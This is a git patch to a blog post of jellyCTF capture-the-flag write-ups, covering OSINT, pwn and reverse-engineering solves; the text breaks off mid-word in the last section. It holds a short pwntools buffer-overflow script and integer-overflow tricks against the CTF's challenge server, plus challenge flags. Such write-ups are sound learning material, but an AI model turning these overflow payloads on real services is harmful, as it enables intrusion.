From cfd22a4904ce1210940b75c54d45161dcf315b64 Mon Sep 17 00:00:00 2001 From: Alexander Tong <55810435+atch2203@users.noreply.github.com> Date: Mon, 24 Jun 2024 23:43:58 -0400 Subject: [PATCH] vault backup: 2024-06-24 22:43:58 --- src/content/blog/jellyCTF writeups.md | 117 +++++++++++++++++++++++++- 1 file changed, 114 insertions(+), 3 deletions(-) diff --git a/src/content/blog/jellyCTF writeups.md b/src/content/blog/jellyCTF writeups.md index 60ab6aa..b166157 100644 --- a/src/content/blog/jellyCTF writeups.md +++ b/src/content/blog/jellyCTF writeups.md @@ -11,9 +11,9 @@ description: jellyCTF writeups --- Sometime during the middle of last week I decided to actually start playing CTFs, and I remember dungwinix mentioned that jellyc.tf was going on for 2 weeks and that it was good for beginners (aka me). -> go check his writeups at https://dungwinux.github.io/-blog/security/2024/06/24/jellyctf.html, he actually was the first solo team to full clear w/o hints +> go check his writeups at https://dungwinux.github.io/-blog/security/2024/06/24/jellyctf.html, he was the first solo team to full clear w/o hints (i think) -I used a lot of hints (almost all of them), but I was able to solve 10/10 web, 6/8 osint, 3/3 pwn, 8/10 crypto, 6/7 forensics, 5/5 misc, 3/3 rev. +I used a lot of hints (almost all of them), but I was able to solve 10/10 web, 6/8 osint, 3/3 pwn, 8/10 crypto, 6/7 forensics, 5/5 misc, 3/3 rev. Personally, I thought that the pwn and rev were lacking, but I learned a good amount in the other catagories. ![my "awards"](@assets/images/writeups/jellyctf/awardssmall.png)
My "awards"
@@ -480,12 +480,123 @@ flag: `2016-09-15T15:01:46.233Z` ##### super_fan I had to use a hint for this: you need to find the twitter id of the user, which can be done through their banner on [wayback machine](https://web.archive.org/web/20240325165547/https://twitter.com/j3llyfan7) -The id for the user is `1772301250572263429`, and +The id for the user is `1772301250572263429`, and according to [this site](https://twirpz.wordpress.com/2015/06/16/how-to-find-twitter-users-previous-usernames/), you can go to [https://x.com/intent/user?user_id=1772301250572263429](https://x.com/intent/user?user_id=1772301250572263429) to find the new account. +The three posts +``` +dGhpc193YXNfbm90X215X2ludGVudGlvbn0= +eUNURns= +amVsbA== +``` +b64 decode to the flag. + +flag: `jellyCTF{this_was_not_my_intention}` # pwn back to TOC
+##### phase_coffee_1 +For all of these, the goal is to get enough money to buy [jelly's coffee](https://shop.phase-connect.com/collections/coffee/products/custom-roast-coffee-beans-hoshiumi-jelly) +You can do an integer overflow to subtract negative money +![rip opsec](https://github.com/atch2203/jellyctf/blob/main/pwn/phase_coffee_1/cashmoney.png?raw=true) + +flag: `jellyCTF{sakana_your_C04433_shop_broke}` + +##### phase_coffee_2 +The idea here is similar, except you can't put negative numbers as input. However, the program multiples your input by 35 to decide how much money to subtract, so you can still do an integer overflow with `61356699*35`. + +flag: `jellyCTF{dud3_y0u_m1ss3d_4n0th3r_bug}` + +##### phase_coffee_3 +This time you actually need to do a buffer overflow. +Using cyclic we find that `remaining_coin_balance` is an offset of 160 from the buffer. +![offset](https://github.com/atch2203/jellyctf/blob/main/pwn/phase_coffee_3/overflowpoc.png?raw=true) +```python +from pwn import * + +io = remote(host="chals.jellyc.tf", port=5002) + +io.sendline(b'2') +io.sendline(b'1') +io.sendline(b'1') +io.sendline(cyclic(160)+p64(0x7fffffff)) + +io.interactive() +``` + +flag: `jellyCTF{ph4se_c0nn3ct_15_definitely_a_coff33_comp4ny}` # rev +back to TOC
+##### awassmbely +Replace each awa5.0 bit with binary, and then run the assembly by hand to get `11010000`, or 208 + +flag: `jellyCTF{208}` + +##### lost_in_translation +The script converts the flag to awascii, but it uses 8 bits instead of 6 bits. We just translate from awascii, using 8 bits per char. +```python +lookup = "AWawJELYHOSIUMjelyhosiumPCNTpcntBDFGRbdfgr0123456789 .,!'()~_/;\n" +out = " awa awa awa awawawawa awa awa awa awa awawawawawa awa awa awawa awa awa awa awa awa awa awawa awa awa awa awa awa awa awawa awa awa awawa awa awa awawawa awa awawa awa awa awawawa awawawa awa awawa awa awa awawa awa awa awawawawa awa awawa awa awa awawawa awa awawa awa awawa awawa awawa awa awa awa awawawawa awa awa awa awawa awawa awawawa awa awawa awawawa awawa awa awawa awa awa awa awawa awa awawawawawa awa awa awa awa awawawawawawa awa awa awa awa awa awawawa awa awawa awawa awawa awa awa awawawawawa awa awa awa awawa awa awawa awawa awa awawa awawa awawawa awa awa awawawa awawawa awa awawawawawa awa awa awa awa awawawawawawa awa awawa awawa awawa awa awa awawa awawa awawa awa awa awawawawawa awa awa awa awa awa awawawa awawa awa awa awawa awawawa awa awa awa awawawa awa awawa awa awa awawa awa awawa awa awa awawawawa awawa awa" +binary_awascii = out.replace(" awa", "0").replace("wa", "1") +length = int(len(binary_awascii)/8); +print(length) +flag = "" +for i in range(length): + c = binary_awascii[8*i:8*i+8] + ind = int(c, 2) + flag += lookup[ind] +print(flag) +``` + +flag: `jellyCTF(C0p13D_tw0_b1T_t00_MuCh)` + +##### rev1 +Popping the binary into ghidra shows that the flag is `c^eer